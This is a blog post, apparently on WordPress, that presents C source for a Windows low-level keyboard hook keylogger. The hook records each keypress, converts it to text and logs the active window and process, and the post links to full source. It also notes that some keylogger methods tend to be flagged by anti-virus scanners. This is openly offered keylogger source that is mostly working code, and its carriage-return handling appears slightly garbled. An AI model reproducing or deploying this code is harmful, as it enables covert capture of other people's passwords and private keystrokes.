Windows: Low Level Key Logger

Introduction

Most key loggers I’ve encountered use GetAsyncKeyState() API in a continuous loop. When supplied with a virtual key code, it returns TRUE if the key is pressed, else FALSE. The virtual key code is translated to something readable and saved to file.

This has been available since Windows 2000 and avoids having to use an external DLL or Low Level routine with SetWindowsHookEx() which usually gets blocked by anti-virus scanners.

The logger shown here is a Low Level Key logger using WH_KEYBOARD_LL flag for SetWindowsHookEx(). I first saw this used in a key logger by Arne Vidstrom around 2002. I don’t know if his tool klogger.exe is still available but I’m providing source here to something similar.

LowLevelKeyboardProc

The callback function receives keyboard events and is described here.

The wParam indicates the action or whether the key is being pressed or released.
The lParam points to KBDLLHOOKSTRUCT

typedef struct tagKBDLLHOOKSTRUCT {
  DWORD     vkCode;
  DWORD     scanCode;
  DWORD     flags;
  DWORD     time;
  ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT, *LPKBDLLHOOKSTRUCT;

We ignore WM_SYSKEYUP and WM_KEYUP messages in wParam.
If vkCode of lParam is VK_LSHIFT, VK_RSHIFT or VK_CAPITAL, we ignore.

If vkCode is not VK_ESCAPE, VK_TAB or VK_BACKSPACE, we try convert it to a readable character using ToAscii() API.

If ToAscii fails converting scan and virtual codes into character, we use GetKeyNameText() API instead.

LRESULT CALLBACK LowLevelKeyboardProc (int nCode, WPARAM wParam, LPARAM lParam)
{
  KBDLLHOOKSTRUCT *hs=(KBDLLHOOKSTRUCT*)lParam;
  BYTE            ks[256]={0}, txt[256]={0}, key[64]={0};
  DWORD           r=0;
  
  for (;;)
  {
    // ignore key releases
    if (wParam==WM_SYSKEYUP || 
        wParam==WM_KEYUP) break;
    
    // ignore left or right shift and capslock
    if (hs->vkCode==VK_LSHIFT ||
        hs->vkCode==VK_RSHIFT ||
        hs->vkCode==VK_CAPITAL) break;
        
    // log if window changed
    if (GetForegroundWindow()!=hWindow) {
      log_wnd();
      // log if process changed
      log_exe();
    }
    
    // convert escape, backspace or tab to text instead
    if (hs->vkCode!=VK_ESCAPE &&
        hs->vkCode!=VK_BACK   &&
        hs->vkCode!=VK_TAB)
    {
      GetKeyboardState (ks);
    
      ks[VK_SHIFT]   = GetKeyState(VK_LSHIFT) | GetKeyState(VK_RSHIFT);
      ks[VK_CAPITAL] = GetKeyState(VK_CAPITAL);
      ks[VK_CONTROL] = 0;
    
      r=ToAscii (hs->vkCode, hs->scanCode, ks, (LPWORD)key, 0);
    }
    if (r==0) {
      GetKeyNameText(hs->scanCode<<16 | hs->flags<<24, (LPSTR)txt, sizeof(txt));
      // enclose in brackets
      wsprintf ((LPSTR)key, "[%s]", txt);
    }
    // replace carriage return with new line
    if (key[0]=='r') key[0]='n';
    log_txt ("%s", key);
    break;
  }
  return CallNextHookEx (hHook, nCode, wParam, lParam);
}

source in C here

Advertisements
This entry was posted in programming, windows and tagged , , . Bookmark the permalink.

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s